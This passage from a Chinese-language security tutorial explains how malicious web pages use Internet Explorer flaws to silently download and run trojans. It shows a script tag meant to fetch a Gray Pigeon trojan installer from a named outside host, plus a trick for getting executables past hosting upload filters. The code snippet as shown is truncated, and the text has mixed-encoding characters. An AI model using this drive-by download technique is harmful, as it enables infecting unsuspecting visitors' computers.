以上只是網(wǎng)頁(yè)木馬的兩種形式，實(shí)際上網(wǎng)頁(yè)木馬還可以掛在多媒體文件（RM、RMVB、WMV、WMA、Flash）、電子郵件、論壇等多種文件和場(chǎng)合上。很可怕吧，那么用戶如何防范網(wǎng)頁(yè)木馬呢？下面我們就先從網(wǎng)頁(yè)木馬的攻擊原理說(shuō)起。

一、網(wǎng)頁(yè)木馬的攻擊原理

　　首先明確，網(wǎng)頁(yè)木馬實(shí)際上是一個(gè)HTML網(wǎng)頁(yè)，與其它網(wǎng)頁(yè)不同的是該網(wǎng)頁(yè)是黑客精心制作的，用戶一旦訪問(wèn)了該網(wǎng)頁(yè)就會(huì)中木馬。為什么說(shuō)是黑客精心制作的呢？因?yàn)榍度朐谶@個(gè)網(wǎng)頁(yè)中的腳本恰如其分地利用了IE瀏覽器的漏洞，讓IE在后臺(tái)自動(dòng)下載黑客放置在網(wǎng)絡(luò)上的木馬并運(yùn)行（安裝）這個(gè)木馬，也就是說(shuō)，這個(gè)網(wǎng)頁(yè)能下載木馬到本地并運(yùn)行（安裝）下載到本地電腦上的木馬，整個(gè)過(guò)程都在后臺(tái)運(yùn)行，用戶一旦打開(kāi)這個(gè)網(wǎng)頁(yè)，下載過(guò)程和運(yùn)行（安裝）過(guò)程就自動(dòng)開(kāi)始。

　　有朋友會(huì)說(shuō)，打開(kāi)一個(gè)網(wǎng)頁(yè)，IE瀏覽器真的能自動(dòng)下載程序和運(yùn)行程序嗎？如果IE真的能肆無(wú)忌憚地任意下載和運(yùn)行程序，那天下還不大亂。實(shí)際上，為了安全，IE瀏覽器是禁止自動(dòng)下載程序特別是運(yùn)行程序的，但是，IE瀏覽器存在著一些已知和未知的漏洞，網(wǎng)頁(yè)木馬就是利用這些漏洞獲得權(quán)限來(lái)下載程序和運(yùn)行程序的。下面我舉IE瀏覽器早期的一個(gè)漏洞來(lái)分別說(shuō)明這兩個(gè)問(wèn)題。

　⒈自動(dòng)下載程序

　　<SCRIPT LANGUAGE="icyfoxlovelace" src=">

　　小提示：代碼說(shuō)明

　　a. 代碼中“src”的屬性為程序的網(wǎng)絡(luò)地址，本例中“http://go163go.vicp.net/1.exe”為我放置在自己Web服務(wù)器上的灰鴿子服務(wù)端安裝程序，這段代碼能讓網(wǎng)頁(yè)下載該程序到瀏覽它的電腦上。

　　b. 也可以把木馬程序上傳到免費(fèi)的主頁(yè)空間上去，但免費(fèi)空間出于安全的考慮，多數(shù)不允許上傳exe文件，黑客可能變通一下把擴(kuò)展名exe改為bat或com，這樣他們就可以把這些程序上傳到服務(wù)器上了。

　　把這段代碼插入到網(wǎng)頁(yè)源代碼的</BODY>…</BODY>之間（如圖1），然后用沒(méi)打補(bǔ)丁的IE6打開(kāi)，接下來(lái)，打開(kāi)IE的臨時(shí)目錄<Temporary Internet Files>，你會(huì)發(fā)現(xiàn)，在該文件夾中有一個(gè)“1.exe”文件，這也就是說(shuō)，該網(wǎng)頁(yè)已自動(dòng)下載了我放置在Web服務(wù)器上的灰鴿子木馬。

圖1 網(wǎng)頁(yè)木馬示例